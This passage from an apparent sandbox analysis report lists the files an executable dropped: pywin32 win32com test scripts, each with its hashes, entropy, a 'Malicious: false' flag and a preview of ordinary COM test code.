SSDEEP:	48:4oDDywkk/NNn/7kU3A/In8elEhClR+1DPrJJ1sm:4oLkeNdjkU3A/In8QEhClRcTrJJ19
MD5:	D36A0521C4E65ACB2209802A99D0D3E9
SHA1:	6CAA0926465B940ECFFB7F381205256A54DAFE74
SHA-256:	FCE630DA607E58C51908FC604E86C99F83DAC990A88FC0F919899450278F845E
SHA-512:	73E9F5294A45EC06D1A0B2E607ECA706E4386DDE91C289F798F7CDF5ED62FD1F618139B09CEBFC21EAC45B1389C3D5570BF3D0563C7DA05D006741CC3FDA19BE
Malicious:	false
Preview:	# testDCOM.usage = """\.testDCOM.py - Simple DCOM test.Usage: testDCOM.py serverName..Attempts to start the Python.Interpreter object on the named machine,.and checks that the object is indeed running remotely...Requires the named server be configured to run DCOM (using dcomcnfg.exe),.and the Python.Interpreter object installed and registered on that machine...The Python.Interpreter object must be installed on the local machine,.but no special DCOM configuration should be necessary..""".import string.import sys..# NOTE: If you configured the object locally using dcomcnfg, you could.# simple use Dispatch rather than DispatchEx..import pythoncom.import win32api.import win32com.client...def test(serverName):. if string.lower(serverName) == string.lower(win32api.GetComputerName()):. print("You must specify a remote server name, not the local machine!"). return.. # Hack to overcome a DCOM limitation. As the Python.Interpreter object. # is probably installed locally a

C:\recover\pw\Lib\site-packages\win32com\test\testDates.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	4.179560618402457
Encrypted:	false
SSDEEP:	48:BtkkNyYBAexbbfgaYeRPKg3VqAIVqA5VFAYqA+fS:cb5exnfg6Rf3cpcoPwTq
MD5:	C98D7045D5C7E22E7DDD41FF4DAF859C
SHA1:	F9547616FE1830FE748C7585B2AE3352EEC0B240
SHA-256:	1BB28A2FD0A2B3861CCE11D5F9A45CBFC37BECD2EE9E8BCB05804AC4789383F6
SHA-512:	BF78B445ED548FEB3BAFA50D88328486E27F7B08D53409A7E83E7ACA6DAE07C6FE67DE6FB5C7EAD6DC76F619684F91368906B0360E0AA7CA5F1463016F0E8A5B
Malicious:	false
Preview:	import unittest.from datetime import datetime..import pywintypes.import win32com.client.import win32com.server.util.import win32com.test.util.from win32timezone import TimeZoneInfo...# A COM object so we can pass dates to and from the COM boundary..class Tester:. _public_methods_ = ["TestDate"].. def TestDate(self, d):. assert isinstance(d, datetime). return d...def test_ob():. return win32com.client.Dispatch(win32com.server.util.wrap(Tester()))...class TestCase(win32com.test.util.TestCase):. def check(self, d, expected=None):. if not issubclass(pywintypes.TimeType, datetime):. self.skipTest("this is testing pywintypes and datetime"). got = test_ob().TestDate(d). self.assertEqual(got, expected or d).. def testUTC(self):. self.check(. datetime(. year=2000,. month=12,. day=25,. microsecond=500000,. tzinfo=TimeZoneInfo.utc(),.

C:\recover\pw\Lib\site-packages\win32com\test\testDictionary.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2875
Entropy (8bit):	4.859731215502719
Encrypted:	false
SSDEEP:	48:8AEknoCYxkIhbrGksfwL/EJj6/scGKXlUZNBGE/ekq/RkqA/skzlR3JG2fsfS:bEYYxRbrGksfwL/G6/shoVAvbfsq
MD5:	2CA11548E2B2588FFBC3BC645B821E47
SHA1:	BA14915A82A76428FBA871F6A81BA9E18C83C896
SHA-256:	65BF6775773CFA1CBBC8D872975D44D2E91C4EFA5734BD991478ED67F1AF613B
SHA-512:	826F0A9B1FE496A92C04AC33C6D29C3F1826E5ED03B4F2F886D3FA99A997FF231E2B4F1F9639676A0DE9C267B27C49B3736A1054B2996BE9F03ADC63D49540A3
Malicious:	false
Preview:	# testDictionary.py.#.import sys.import unittest..import pythoncom.import pywintypes.import win32com.client.import win32com.server.util.import win32com.test.util.import win32timezone.import winerror...def MakeTestDictionary():. return win32com.client.Dispatch("Python.Dictionary")...def TestDictAgainst(dict, check):. for key, value in list(check.items()):. if dict(key) != value:. raise Exception(. "Indexing for '%s' gave the incorrect value - %s/%s". % (repr(key), repr(dict[key]), repr(check[key])). )...# Ensure we have the correct version registered..def Register(quiet):. import win32com.servers.dictionary. from win32com.test.util import RegisterPythonServer.. RegisterPythonServer(win32com.servers.dictionary.__file__, "Python.Dictionary")...def TestDict(quiet=None):. if quiet is None:. quiet = not "-v" in sys.argv. Register(quiet).. if not quiet:. print("Simple enum test"). dict = MakeTe

C:\recover\pw\Lib\site-packages\win32com\test\testDictionary.vbs

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	562
Entropy (8bit):	4.791868337373185
Encrypted:	false
SSDEEP:	12:0LgDzTQWXwwz/LrLDHvGoKolY/Zft/ZPIlY/zft/JZlYpKo+KM:0c/T5zvHHBKo8ft1Iqftvk4
MD5:	4A0B181C7EB4DFE1D6AD6F9F624819E1
SHA1:	6119A9D849F01EF479EFDAE0D4A027AD1F6A7D49
SHA-256:	5EE4E64715101EFABB04C085EFBB21513B84083DB75DA382F6D55550E1886DDD
SHA-512:	1B6278E2DB156A17E93F56E1A5368728A7F388BCFD18A6BA5C4B16D7381F5E4DB5AA63ADDF472026CD21493517F6AA6E906ECBE1D4EA30AE99702D61D3BFD88E
Malicious:	false
Preview:	' Test Pyhon.Dictionary using VBScript - this uses.' IDispatchEx, so is an interesting test...set ob = CreateObject("Python.Dictionary").ob("hello") = "there".' Our keys are case insensitive..ob.Item("hi") = ob("HELLO")..dim ok.ok = true..if ob("hello") <> "there" then. WScript.Echo "** The dictionary value was wrong!!". ok = false.end if..if ob("hi") <> "there" then. WScript.Echo "** The other dictionary value was wrong!!". ok = false.end if..if ok then. WScript.Echo "VBScript has successfully tested Python.Dictionary".end if...

C:\recover\pw\Lib\site-packages\win32com\test\testDynamic.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2804
Entropy (8bit):	4.742689327797385
Encrypted:	false
SSDEEP:	48:pj/+4iDAuZVD0DBqo1PRtL7NZZ3BwVyPwkkh+wLwRFchp1HfnzxPR6fUw3:pj/+plYDBqOP/vNj3B1Pjkh+wLwR2p16
MD5:	34345C0FE1B2605EA43CA6C014CDBE25
SHA1:	E879449AB2225EA74E3506FBCAA1B36B9C375B3B
SHA-256:	CA546589378D8261628BFAC677F08848C26BD712F758B183257C8E9879F76540
SHA-512:	83AD050EF1919128D7B5DC103BD5E903BF6A7F94B0D082CCE0A00E7669A0D446ECE0B070FD9F814D485ABC793D05E9B655B3203EECFF78687D3FD7B77A7AA553
Malicious:	false
Preview:	# Test dynamic policy, and running object table...import pythoncom.import winerror.from win32com.server.exception import Exception..error = "testDynamic error"..iid = pythoncom.MakeIID("{b48969a0-784b-11d0-ae71-d23f56000000}")...class VeryPermissive:. def _dynamic_(self, name, lcid, wFlags, args):. if wFlags & pythoncom.DISPATCH_METHOD:. return getattr(self, name)(*args).. if wFlags & pythoncom.DISPATCH_PROPERTYGET:. try:. # to avoid problems with byref param handling, tuple results are converted to lists.. ret = self.__dict__[name]. if type(ret) == type(()):. ret = list(ret). return ret. except KeyError: # Probably a method request.. raise Exception(scode=winerror.DISP_E_MEMBERNOTFOUND).. if wFlags & (. pythoncom.DISPATCH_PROPERTYPUT \| pythoncom.DISPATCH_PROPERTYPUTREF. ):. setattr(self, name, args[0]).

C:\recover\pw\Lib\site-packages\win32com\test\testExchange.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3352
Entropy (8bit):	4.652152477434712
Encrypted:	false
SSDEEP:	96:ijrxeSZ1OaUK0TgSWfQ6se/i64wJp4/KQ6NmWh:izoafQWrjE/KgWh
MD5:	2530256B7E23ED31D5DF61442F4D6FAF
SHA1:	BC02A5B9CA389D7C93B4295D16F65E3509D7E8A4
SHA-256:	B4B6A1006FE02AA541C785E98921ABF01FF70996955BCCBD8D39488CED38D1BE
SHA-512:	7ED2D6B06B9EE310CE72617036E992CF7029093BA0FD349B95F15DAED5D64C9B916E72B80C042B0EAD191AAC9F154DC2095CE152D5DE77EFF7445383A39B6768
Malicious:	false
Preview:	# TestExchange = Exchange Server Dump.# Note that this code uses "CDO", which is unlikely to get the best choice..# You should use the Outlook object model, or.# the win32com.mapi examples for a low-level interface...import os..import pythoncom.from win32com.client import constants, gencache..ammodule = None # was the generated module!...def GetDefaultProfileName():. import win32api. import win32con.. try:. key = win32api.RegOpenKey(. win32con.HKEY_CURRENT_USER,. "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles",. ). try:. return win32api.RegQueryValueEx(key, "DefaultProfile")[0]. finally:. key.Close(). except win32api.error:. return None...#.# Recursive dump of folders..#.def DumpFolder(folder, indent=0):. print(" " * indent, folder.Name). folders = folder.Folders. folder = folders.GetFirst(). while folder:. DumpFolder(folder, indent + 1

C:\recover\pw\Lib\site-packages\win32com\test\testExplorer.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4715
Entropy (8bit):	4.743526043842491
Encrypted:	false
SSDEEP:	96:NNmAGmq5Wa/2CjYkYJtnjwA7eS9z5cjpewMAvghKtWZmEK7s3z53YJJI9g:ImqLJW7X9z2NewJvfah9g
MD5:	EC289A6CAA4E9C5770652DE63B75C1B1
SHA1:	C04C0CBDB1C5E3B97855EFC32ECAFE862D590226
SHA-256:	754AAE922EF48234E3445F61153F44C6AC20B0E51F5640BBC94632B7BB8D8173
SHA-512:	BB3FFAC5BEC93BBBFBA8675DB5BD25A0361D1EDFF74373D656659510049B3B618AC67408B66E74DE5C3F99DC4250C5532B2E9F172FB4E86B9CA27E65E2070487
Malicious:	false
Preview:	# testExplorer -..import os.import time..import pythoncom.import win32api.import win32com.client.dynamic.import win32con.import win32gui.import winerror.from win32com.client import Dispatch.from win32com.test.util import CheckClean..bVisibleEventFired = 0..# These are errors we might see when this is run in automation (eg, on github).# Not sure exactly what -2125463506 is, but google shows it's a common error.# possibly related to how IE is configured WRT site permissions etc..HRESULTS_IN_AUTOMATION = [-2125463506, winerror.MK_E_UNAVAILABLE]...class ExplorerEvents:. def OnVisible(self, visible):. global bVisibleEventFired. bVisibleEventFired = 1...def TestExplorerEvents():. global bVisibleEventFired. try:. iexplore = win32com.client.DispatchWithEvents(. "InternetExplorer.Application", ExplorerEvents. ). except pythoncom.com_error as exc:. # In automation we see this error trying to connect to events. # It's a little surpr

C:\recover\pw\Lib\site-packages\win32com\test\testGIT.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4690
Entropy (8bit):	4.673785465015909
Encrypted:	false
SSDEEP:	96:CsDGCGnLwjQDYNv9JXNKXKqGpCy/89oS/mTdLpQSpk6dISpX/BwP5w4tlz:5eLGNv93KwCCmudL7k6dISlBwBPlz
MD5:	0B1D6AFED5275FDD6488C6EC39512B5B
SHA1:	7836196313A3086090424C7DBE1CAE96BEC9E86E
SHA-256:	3E9F52214205CE936059D4FE3645D2A10445BB5753D55A675ABE872A399255C6
SHA-512:	26D96A644F92A24DF83E4722DB4B0178662B7EFC709D216C41EDA8EEEEC57F050765894BA761A8BDB77D6D1E85198418FFE1F90330CCB200F698F985AABC7CDF
Malicious:	false
Preview:	"""Testing pasing object between multiple COM threads..Uses standard COM marshalling to pass objects between threads. Even .though Python generally seems to work when you just pass COM objects.between threads, it shouldnt...This shows the "correct" way to do it...It shows that although we create new threads to use the Python.Interpreter,.COM marshalls back all calls to that object to the main Python thread,.which must be running a message loop (as this sample does)...When this test is run in "free threaded" mode (at this stage, you must .manually mark the COM objects as "ThreadingModel=Free", or run from a .service which has marked itself as free-threaded), then no marshalling.is done, and the Python.Interpreter object start doing the "expected" thing.- ie, it reports being on the same thread as its caller!..Python.exe needs a good way to mark itself as FreeThreaded - at the moment.this is a pain in the but!.."""..import _thread.import traceback..import pythoncom.import win32api.impor

C:\recover\pw\Lib\site-packages\win32com\test\testGatewayAddresses.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5217
Entropy (8bit):	4.942059394615528
Encrypted:	false
SSDEEP:	96:7cXRiARipcbmzRuBpaANS/6dFKhf3c4aQL9jn0eU/FWrqC4Yz4yWb0exmWF:YhiAs7cpaANS/6mhf35aWn0R/kjfI0sF
MD5:	4A8FC8A433F2A7D13360CE817289CB81
SHA1:	9D1C83E9F8BDB616CD1D9065967DAB4E25634064
SHA-256:	F30E1BA0417B24172C1FF58660AAC074DBD1C54C6EB8F8A2586DFCCA33E395EE
SHA-512:	0D55B08727E4A6401103701CA7E16DB3AF41228A6291BF1ADA7BB1E5D133CED59AD42E5D2E6A566D60F86AFFD682907D60E663CA7FF4FC2F8FF716E3B7D6EDD5
Malicious:	false
Preview:	# The purpose of this test is to ensure that the gateways objects.# do the right thing WRT COM rules about object identity etc...# Also includes a basic test that we support inheritance correctly in.# gateway interfaces...# For our test, we create an object of type IID_IPersistStorage.# This interface derives from IPersist..# Therefore, QI's for IID_IDispatch, IID_IUnknown, IID_IPersist and.# IID_IPersistStorage should all return the same gateway object..#.# In addition, the interface should only need to declare itself as.# using the IPersistStorage interface, and as the gateway derives.# from IPersist, it should automatically be available without declaration..#.# We also create an object of type IID_I??, and perform a QI for it..# We then jump through a number of hoops, ensuring that the objects.# returned by the QIs follow all the rules..#.# Here is Gregs summary of the rules:.# 1) the set of supported interfaces is static and unchanging.# 2) symmetric: if you QI an interface for tha

C:\recover\pw\Lib\site-packages\win32com\test\testInterp.vbs

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	258
Entropy (8bit):	4.973447807182621
Encrypted:	false
SSDEEP:	6:xaLuNfJxJoYlYgbYhMYjthaYlY/3r2VlYal5WY:gUfNoYlYeYhZRUYlY/3KlYaj
MD5:	93C0BD59A8C2D696C823E2E5677A3614
SHA1:	E255BA0F245DDBB3C2BC942C1972B01739474C46
SHA-256:	E63B2A8041F683492E83C1FDAC3A0C94E3F6CB29CFFB54F9D97D4EB06A9A4E0A
SHA-512:	56C20680EB052703D3A985947E8848B902F09BE04332A841296C81CCADE0AFE1828B6E0246F198884D5909B954A1D195E0A97726C322A3420E714D538DF7173E
Malicious:	false
Preview:	set o = CreateObject("Python.Interpreter").if o.Eval("1+1") <> 2 Then..WScript.Echo "Eval('1+1') failed"..bFailed = True.end if..if bFailed then..WScript.Echo "********* VBScript tests failed *******".else..WScript.Echo "VBScript test worked OK".end if..

C:\recover\pw\Lib\site-packages\win32com\test\testIterators.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.557164968331504
Encrypted:	false
SSDEEP:	96:cGPxZ5eqIKLQiILEK2hLR4j8DQS02mrrXBauzSr:cGljl/DQ7rrXBvzSr
MD5:	D6E43ABD662B3698AF48DF23BAF33ACF
SHA1:	9E81C3AA827555EAD43216D9815A8DE106B49452
SHA-256:	86CCF25000C05F5BFA6A3EC489408370976244B302C545B8C9DDFF982BF38E25
SHA-512:	10F067B8B42BEFB3559669C745CC2EF2392ED342E96FBC3CADFD642A603EEA0E3E7B63376D7FE7EA0A3FE065DF84B82C569B48FFBF40B7776C65397DF30786CE
Malicious:	false
Preview:	# Some raw iter tests. Some "high-level" iterator tests can be found in.# testvb.py and testOutlook.py.import sys.import unittest..import pythoncom.import win32com.server.util.import win32com.test.util.from win32com.client import Dispatch.from win32com.client.gencache import EnsureDispatch...class _BaseTestCase(win32com.test.util.TestCase):. def test_enumvariant_vb(self):. ob, iter = self.iter_factory(). got = []. for v in iter:. got.append(v). self.assertEqual(got, self.expected_data).. def test_yield(self):. ob, i = self.iter_factory(). got = []. for v in iter(i):. got.append(v). self.assertEqual(got, self.expected_data).. def _do_test_nonenum(self, object):. try:. for i in object:. pass. self.fail("Could iterate over a non-iterable object"). except TypeError:. pass # this is expected.. self.assertRaises(TypeError, iter, object)

C:\recover\pw\Lib\site-packages\win32com\test\testMSOffice.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6086
Entropy (8bit):	4.821038674490074
Encrypted:	false
SSDEEP:	96:v3vSFVg06AFunmltsBlFcg7NC8On0m8dh/pfysJn165OLxLcQmUFAz4dMl4HXOHk:ybFDumSzcqNCplsfysOOLlcQmUiz4d0Y
MD5:	BE75D074D20E8CE52BE10E0CE63DC5B1
SHA1:	A408EBA472244E2676068A111155E3AB0FBA53CF
SHA-256:	7D7BCDD7AA21E9CC2F474B290FBFACE2B75C8A6FE7E727A2C25B11E218955DE3
SHA-512:	21F8DA2372D9A6F5E35CBE923CEA66F2371053421C79478CECA1A119DDEFF0901281FCC4696FC5FDD1E336B06D56C5F58C9600B9E39A8B23DFC06CFBD2AAB2D6
Malicious:	false
Preview:	# Test MSOffice.#.# Main purpose of test is to ensure that Dynamic COM objects.# work as expected...# Assumes Word and Excel installed on your machine...import traceback..import pythoncom.import win32api.import win32com.import win32com.client.dynamic.from pywintypes import Unicode.from win32com.client import gencache.from win32com.test.util import CheckClean..error = "MSOffice test error"...# Test a few of the MSOffice components..def TestWord():. # Try and load the object exposed by Word 8. # Office 97 - _totally_ different object model!. try:. # NOTE - using "client.Dispatch" would return an msword8.py instance!. print("Starting Word 8 for dynamic test"). word = win32com.client.dynamic.Dispatch("Word.Application"). TestWord8(word).. word = None. # Now we will test Dispatch without the new "lazy" capabilities. print("Starting Word 8 for non-lazy dynamic test"). dispatch = win32com.client.dynamic._GetGoodDispatch("Word.Ap

C:\recover\pw\Lib\site-packages\win32com\test\testMSOfficeEvents.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3982
Entropy (8bit):	4.479543856143631
Encrypted:	false
SSDEEP:	96:ZOmeajyzPZjpBgJAIhEukjLTWnb8Zh/3dHmjX:Z+7ZjpKJA4EumTWIH3pmjX
MD5:	E75E0A1472926AF4457460CFCB356166
SHA1:	0EF73BCA733F310F398654BAEAF794E42BAACB2F
SHA-256:	A9F9668F46223A15A8EF94335C574367BDC92B10A90AF85E5BBBF13529A6DE7C
SHA-512:	1172314C09E60467052F583476DA13406E78B74DD07A9B30D4B88DD729CDA4A99101818D820A49CA8734BA3AD3714CD76F55FE377DFE0EAFA374F5E530440AE6
Malicious:	false
Preview:	# OfficeEvents - test/demonstrate events with Word and Excel..import msvcrt.import sys.import threading.import time.import types..import pythoncom.from win32com.client import Dispatch, DispatchWithEvents..stopEvent = threading.Event()...def TestExcel():. class ExcelEvents:. def OnNewWorkbook(self, wb):. if type(wb) != types.InstanceType:. raise RuntimeError(. "The transformer doesnt appear to have translated this for us!". ). self.seen_events["OnNewWorkbook"] = None.. def OnWindowActivate(self, wb, wn):. if type(wb) != types.InstanceType or type(wn) != types.InstanceType:. raise RuntimeError(. "The transformer doesnt appear to have translated this for us!". ). self.seen_events["OnWindowActivate"] = None.. def OnWindowDeactivate(self, wb, wn):. self.seen_events["OnWindowDeactivate"] = None.. def OnSheetDea

C:\recover\pw\Lib\site-packages\win32com\test\testMarshal.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6069
Entropy (8bit):	4.4438118253540395
Encrypted:	false
SSDEEP:	96:UsDGCgnLwjQIPJW2HC9ys/J/a8q6QaNTF19Tg2q6PMpYC4jE/fks7O1fhAHuXQhd:zYLkG9H/Jad6QaN51dC6PMpeQfkCOBhs
MD5:	5476DA59124678C0013F0085B6421DCB
SHA1:	246909EF6B78B16DA3FE850238631F3C6A570F9B
SHA-256:	04D0631A16D9CB712EBBE4AC79980F1D1D959A21C4077CA623C9A5BF98BAB03E
SHA-512:	F3D18F0D3DA18B108DBAC3D8B06F3D03F5DD640706F07E5992799E4EE1358CFD8C65275722FF295A201352CFC6C9697B56D13F4E86BD43B15B718AC50F00E898
Malicious:	false
Preview:	"""Testing pasing object between multiple COM threads..Uses standard COM marshalling to pass objects between threads. Even.though Python generally seems to work when you just pass COM objects.between threads, it shouldnt...This shows the "correct" way to do it...It shows that although we create new threads to use the Python.Interpreter,.COM marshalls back all calls to that object to the main Python thread,.which must be running a message loop (as this sample does)...When this test is run in "free threaded" mode (at this stage, you must.manually mark the COM objects as "ThreadingModel=Free", or run from a.service which has marked itself as free-threaded), then no marshalling.is done, and the Python.Interpreter object start doing the "expected" thing.- ie, it reports being on the same thread as its caller!..Python.exe needs a good way to mark itself as FreeThreaded - at the moment.this is a pain in the but!.."""..import threading.import unittest..import pythoncom.import win32api.import

C:\recover\pw\Lib\site-packages\win32com\test\testNetscape.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	660
Entropy (8bit):	4.474333029501136
Encrypted:	false
SSDEEP:	12:joXCA1d0yJUZiaF2p0QpFZp38M7tm+ZhZ+4KJFkd7addbMTd7NIFGlaux5044i:j9gUYa0pprX3nZm+Z64KQd7chYd7NLEE
MD5:	E5BC0AD44019706CF0B5D95842253F50
SHA1:	96021E0ADA31F526BF2F1A828734C0A7A3EC27BA
SHA-256:	E484EDA75EDAFA3A89D25CC0A6E01C281874F7F8F6B2BB369EAA27E2FB7C3D80
SHA-512:	68E401C41EC08D57BF603735E636A2923D444AF466A0C0987E3FD5E6F96DB0870243E8C1EA3785D0F9215AB1FEC768838A535B642EF7C6E1AF7F9177B71FED87
Malicious:	false
Preview:	## AHH - I cant make this work!!!..# But this is the general idea...import sys..import netscape..error = "Netscape Test Error"..if __name__ == "__main__":. n = netscape.CNetworkCX(). rc = n.Open("http://d\|/temp/apyext.html", 0, None, 0, None). if not rc:. raise error("Open method of Netscape failed"). while 1:. num, str = n.Read(None, 0). print("Got ", num, str). if num == 0:. break # used to be continue - no idea!!. if num == -1:. break. # sys.stdout.write(str). n.Close(). print("Done!"). del n. sys.last_type = sys.last_value = sys.last_traceback = None.

C:\recover\pw\Lib\site-packages\win32com\test\testPersist.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6397
Entropy (8bit):	4.814124921271407
Encrypted:	false
SSDEEP:	192:sj1dQLZ/v93jNQqEdvEqxA88yfc6RaRS5AsxrzMVo:g1dQLZ/v93jNQqEdvEq30spMm
MD5:	9D0E938988F57EF84E20F84060B2D986
SHA1:	08FF3AA31C2E0AAB02B247FF6606C733FDFEB4B7
SHA-256:	D37175FA212C13E1751F7D97D8452F6801ABB91E52F35A000F35B9BE2018A7EF
SHA-512:	B851C3A7EEDD298D5FFCA2CC2263ED9D836AA7600A6BB83A2E7E3A1DCB0C239B751FB3A81D4D1D96A2BD79A5B71C026FF3DFA864EEF4C8120A253434459116B1
Malicious:	false
Preview:	import os..import pythoncom.import pywintypes.import win32api.import win32com.import win32com.client.import win32com.client.dynamic.import win32com.server.util.import win32ui.from pywin32_testutil import str2bytes.from pywintypes import Unicode.from win32com import storagecon.from win32com.axcontrol import axcontrol.from win32com.test.util import CheckClean..S_OK = 0...import win32timezone..now = win32timezone.now()...class LockBytes:. _public_methods_ = [. "ReadAt",. "WriteAt",. "Flush",. "SetSize",. "LockRegion",. "UnlockRegion",. "Stat",. ]. _com_interfaces_ = [pythoncom.IID_ILockBytes].. def __init__(self, data=""):. self.data = str2bytes(data). self.ctime = now. self.mtime = now. self.atime = now.. def ReadAt(self, offset, cb):. print("ReadAt"). result = self.data[offset : offset + cb]. return result.. def WriteAt(self, offset, data):. print("WriteAt " + str(o

C:\recover\pw\Lib\site-packages\win32com\test\testPippo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2700
Entropy (8bit):	4.559955566559269
Encrypted:	false
SSDEEP:	48:kbexmD7EdAgFlhdY9ot0qHerVcXx3AgFlhdHCtFfS:kbexmD7g7Y9o0rVchV7HC3q
MD5:	9CE54462DB78DE2E99A586E18F2A3C3F
SHA1:	D6671055DCCFC76DA924B9FF9CAFC6E7BEE90B52
SHA-256:	CAC4BF53997469326FECB9603F0B8C4CCAEE479C61ACD14191259D1B3AFF3AC4
SHA-512:	C097E2F75CD011C2922C7C00821A0E7A168B6C8669B8AA9D86450ED77D9A71A74C8E38DAED4CFD562CC6C6A15D10620846D60F076805DE1DC02DF85251E26A9E
Malicious:	false
Preview:	import sys.import unittest..import pythoncom.from win32com.client import Dispatch.from win32com.client.gencache import EnsureDispatch...class PippoTester(unittest.TestCase):. def setUp(self):. from win32com.test import pippo_server. from win32com.test.util import RegisterPythonServer.. RegisterPythonServer(pippo_server.__file__, "Python.Test.Pippo"). # create it.. self.object = Dispatch("Python.Test.Pippo").. def testLeaks(self):. try:. gtrc = sys.gettotalrefcount. except AttributeError:. print("Please run this with python_d for leak tests"). gtrc = lambda: 0. # note creating self.object() should have consumed our "one time" leaks. self.object.Method1(). start = gtrc(). for i in range(1000):. object = Dispatch("Python.Test.Pippo"). object.Method1(). object = None. end = gtrc(). if end - start > 5:. self.fail("We lost %

C:\recover\pw\Lib\site-packages\win32com\test\testPyComTest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	29052
Entropy (8bit):	4.890042957890085
Encrypted:	false
SSDEEP:	384:vaMlDQn2MrKnG4uLxszu5eNNnlf26DnIS+L6lmkA/HwruHyWYjob:yMlDQn2eKnG4uLazuEFe+Yks3S+
MD5:	72DEAA8CD99A49B7E2460E1A7FA5B22A
SHA1:	D338F048C6E95CB5012288835F3AB3AAA871B863
SHA-256:	53A5CD16541259E1D495ED3E628018C6EB68158CF4B558725934E9280C033FDD
SHA-512:	06979383CAF513AFAEF2725EC2B54DE154D998D1E54D65417F285D88DDDA815CBD4758C1467AB7EC312070C0F66280603B31502E7A6FF277DCE75709A95F46D3
Malicious:	false
Preview:	# NOTE - Still seems to be a leak here somewhere.# gateway count doesnt hit zero. Hence the print statements!..import sys..sys.coinit_flags = 0 # Must be free-threaded!.import datetime.import decimal.import os.import time..import pythoncom.import pywintypes.import win32api.import win32com.import win32com.client.connect.import win32timezone.import winerror.from pywin32_testutil import str2memory.from win32com.client import VARIANT, CastTo, DispatchBaseClass, constants.from win32com.test.util import CheckClean, RegisterPythonServer..importMsg = "** PyCOMTest is not installed *\n PyCOMTest is a Python test specific COM client and server.\n It is likely this server is not installed on this machine\n To install the server, you must get the win32com sources\n and build it using MS Visual C++"..error = Exception..# This test uses a Python implemented COM server - ensure correctly registered..RegisterPythonServer(. os.path.join(os.path.dirname(__file__), "..", "servers", "test_pyc

C:\recover\pw\Lib\site-packages\win32com\test\testPyScriptlet.js

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.00200123737897
Encrypted:	false
SSDEEP:	24:PPLDQEkiqPfasc7wpLFbm7/c3jDBzDxvbdSND+epreK2:PjDQErqXasrbm/c3vlzaDJp6j
MD5:	C3AA56BDA9617131859C3583BCEC8520
SHA1:	B198688A397650A1B4818703AE1FE05D76DC609F
SHA-256:	0CA4E6960C37322B4A1D7BBD5C2465D3F749BD13A18F71609855AD825B8A573F
SHA-512:	7849C7F02D50FB841C252CCC72D99F579B3183E3F7AB0476234608F6DD3F1C8BE5EE38A22E1A6D81568C48926BDD2B45BA166A784132B6C1E416BA46D72159D6
Malicious:	false
Preview:	function print(msg).{. WScript.Echo(msg) ;.}..function check(condition, msg).{. if (!condition) {. print("*** testPyScriptlet.js failed ***");. print(msg);. }.}..var thisScriptEngine = ScriptEngine() ;..var majorVersion = ScriptEngineMajorVersion() ;.var minorVersion = ScriptEngineMinorVersion() ;.var buildVersion = ScriptEngineBuildVersion() ;..WScript.Echo(thisScriptEngine + " Version " + majorVersion + "." + minorVersion + " Build " + buildVersion) ;..var scriptlet = new ActiveXObject("TestPys.Scriptlet") ;..check(scriptlet.PyProp1=="PyScript Property1", "PyProp1 wasn't correct initial value");.scriptlet.PyProp1 = "New Value";.check(scriptlet.PyProp1=="New Value", "PyProp1 wasn't correct new value");..check(scriptlet.PyProp2=="PyScript Property2", "PyProp2 wasn't correct initial value");.scriptlet.PyProp2 = "Another New Value";.check(scriptlet.PyProp2=="Another New Value", "PyProp2 wasn't correct new value");..check(scriptlet.PyMethod1()=="PyMethod1 called", "Method1 w

C:\recover\pw\Lib\site-packages\win32com\test\testROT.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	762
Entropy (8bit):	4.249417436354547
Encrypted:	false
SSDEEP:	12:7Ly7L7LSzm9rsEfAAoFCgfYUhwZB+M8d6lU2Nu/b7MFDGZf02pV7u:KjOy9rsIAtF1nhgYMI6a2u//M1GZRpVS
MD5:	0D8E6608A225F367A0B8523523658194
SHA1:	4C985FB658A70D81669081E8ADE5654E15CFD936
SHA-256:	722BBB52AF304FBB3CB6AC325933BE4DAE025F6C5EFB5E1A949FBB7753F3A4D0
SHA-512:	9C14639B97F7C3A760888F5B80A70132790C9C2710E3BF6420D88514F1D08A4B0767FF3D1FB27BEF28EEBD4FFAF04C6A52DE55C2E1049DC76AA0102EFAF6D89F
Malicious:	false
